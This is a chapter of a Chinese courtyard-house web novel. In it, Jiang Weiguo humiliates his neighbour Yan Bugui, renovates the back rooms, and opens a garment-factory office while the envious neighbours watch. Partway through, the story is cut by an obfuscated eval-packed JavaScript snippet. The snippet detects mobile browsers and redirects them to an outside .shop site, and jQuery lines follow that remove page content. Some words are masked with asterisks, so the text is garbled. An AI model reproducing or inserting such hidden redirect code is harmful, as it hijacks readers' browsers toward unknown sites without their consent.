红星四合院的清晨,被一声沉闷的巨响砸碎。
“哐当!”
那是大锤砸在朽烂门框上的声音。
灰尘腾起,惊得院里那棵老槐树上的几只乌鸦扑棱棱乱飞。
赵大黑光着膀子,露出一身黑亮的腱子肉,手里的八磅大锤抡得虎虎生风。
在他身后,七八个穿着统一蓝工装的汉子,正手脚麻利地往外清理着倒座房里的陈年积垢。
发霉的烂席子、断腿的桌椅板凳、还有不知道谁家偷偷塞进去的破烂煤炉子,全被一股脑地扔到了院子当间。
江卫国搬了把太师椅,就坐在垂花门边上。
他手里端着那个搪瓷缸子,脚边趴着黑子,神色淡然地看着这场拆迁。
这不光是装修。
这是在给这四合院换血,也是在给这帮老邻居立规矩。
前院西屋的门帘子掀开一条缝,阎埠贵那张精瘦的脸探了出来。
他盯着地上那堆拆下来的烂木头,眼珠子都快瞪出来了。
那是好东西啊!
虽然朽了点,但劈开了当引火柴,怎么也能烧个十天半个月的。
阎埠贵左右瞅了瞅,见没人注意他,便猫着腰,手里提着个簸箕,想趁乱去捡几块木头。
“放下。”
两个字,不轻不重,却像钉子一样把阎埠贵的脚钉在了地上。
江卫国吹了吹茶沫子,连眼皮都没抬。
“老……**啊。”
阎埠贵干笑两声,扶了扶眼镜框,“我看这些都是不要的垃圾,堆在院里也是碍事,我受受累,帮你清理了……”
“大黑。”
江卫国没理会阎埠贵的说辞,只是喊了一声。
赵大黑放下大锤,大步走过来,像座黑塔一样挡在了阎埠贵面前。
“点火。”
江卫国指了指那堆破烂。
“就在这儿烧。烧干净了,把灰扬了。”
“哎!得令!”
赵大黑从兜里掏出火柴,又泼了半瓶煤油。
“呼――”
火苗瞬间蹿起一人多高。
干燥的朽木在烈火中噼啪作响,热**得阎埠贵连连后退,脸被烤得生疼。
“**!你……你这是糟践东西啊!”
阎埠贵心疼得直跺脚,“这都是能烧火的柴火!你宁可烧了也不给邻居?”
江卫国放下茶缸,站起身。
他走到火堆旁,火光映着他冷硬的侧脸。
“阎老师,你记性不好。我说过,我江家的东西,哪怕是烂木头,喂了火,也不喂白眼狼。”
“以后这倒座房方圆三米,是我的库房重地。”
“谁要是再敢伸爪子进来乱划拉,我就当他是来偷窃公家物资。”
江卫国转过头,目光越过火堆,扫向中院那些躲在窗户后面偷窥的眼睛。
“到时候,别怪我手里的棍子不认人。”
阎埠贵吓得一哆嗦,看着那熊熊燃烧的火焰,终于明白了一件事。
以前那个好说话的老好人江卫国,早就死在了那个大雪纷飞的冬夜里。
现在回来的,是个活阎王。
他灰溜溜地提着空簸箕缩回了屋,再也不敢露头。
清理完垃圾,就是大兴土木。
江卫国没打算凑合。
他直接让孙大虎从建材厂拉来了一车标号最高的水泥,还有两车红砖。
原本漏风的墙体被重新加固,地面铺上了厚实的水泥层,还做了防潮处理。
最让全院人眼红的,是窗户。
这年头,谁家不是糊窗户纸?
条件好点的也就用那种半透明的油纸。
可江卫国让人把原来的烂窗框全拆了,换上了崭新的松木框。
然后,一块块明晃晃、透亮的大玻璃被装了上去。
阳光照在玻璃上,反射出的光芒刺得人眼睛发酸。
“我的天爷……这得多少钱啊?”
秦淮茹站在水池边,手里攥着洗衣裳的棒槌,看着那两间焕然一新的倒座房,心里那个酸楚简直没法说。
那原本是堆杂物的地方,现在看着比她家正房还亮堂!
“妈,我要住那屋!那屋有大玻璃!”
棒梗不知道什么时候跑了出来,指着倒座房撒泼,“咱们家那窗户黑咕隆咚的,我都看不清写作业!”
秦淮茹一巴掌拍在棒梗背上:“住什么住!那是人家的!”
打完了孩子,她自己却红了眼圈。
她看着江卫国指挥着工人安装电线。不是那种乱拉的细线,而是正经的护套线,走得横平竖直。
屋顶上吊下来两盏一百瓦的大灯泡,还没通电,看着就气派。
到了傍晚,装修基本完工。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098528|195105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
两间倒座房被打通,中间砌了一道隔断。
左边是库房,用来存放布料和成品;右边是办公室兼值班室。
江卫国让人搬来了两张桌子,又在墙上挂上了那张“拥军模范”的奖状。
最后,是一块早就准备好的木牌子。
黑底金字,写着一行大字:“**服装厂驻红星街道办事处”
底下还有一行小字:“闲人免进,后果自负。”
江卫国亲手把牌子挂在了门边。
他退后两步,审视着这块属于他的新领地。
这不仅仅是一个办事处,这是一根钉子。
一根深深扎进这四合院心脏,让所有禽兽都不得不绕着走的钢钉。
“大虎。”
江卫国喊了一声。
“江爷,您说。”
“从明儿起,安排两个兄弟在这儿轮班。”
江卫国从兜里掏出两把崭新的大锁,扔给孙大虎。
“告诉他们,眼睛放亮点。这院里不仅有耗子,还有想**的狼。谁要是敢撬我的锁,或者往我门口泼脏水。”
江卫国指了指旁边那根用来拴黑子的铁链。
“就把他拴在这儿,替我看门。”
孙大虎接过锁,咧嘴一笑,露出一口白牙:“得嘞!江爷您放心,这活儿兄弟们爱干!”
夜幕降临。
倒座房里的灯亮了。
那两盏一百瓦的大灯泡,把前院照得如同白昼。
光芒透过大玻璃窗洒出来,映在院子里的残雪上。
易中海坐在自家昏暗的屋子里,看着窗外那刺眼的亮光,手里的烟袋锅子怎么也点不着。
他知道,这四合院的天,从今往后,再也不是他易中海说了算了。
那个曾经被他算计、被他排挤的江卫国。如今就坐在那光亮里,像一座大山,压得他喘不过气来。
江卫国坐在新办公室里,翻开那个厚厚的账本。
今天的收入又创新高,但他没有停下的意思。
他拿起笔,在一张新的图纸上画了一个圈。
那是城东的纺织二厂。
既然这“**”的旗号已经在城南和这四合院里立住了,那么下一步,就该把手伸向更上游的原料端了。
他要做的,不仅仅是买布做衣裳。
他要在这个物资匮乏的年代,掌握真正的定价权。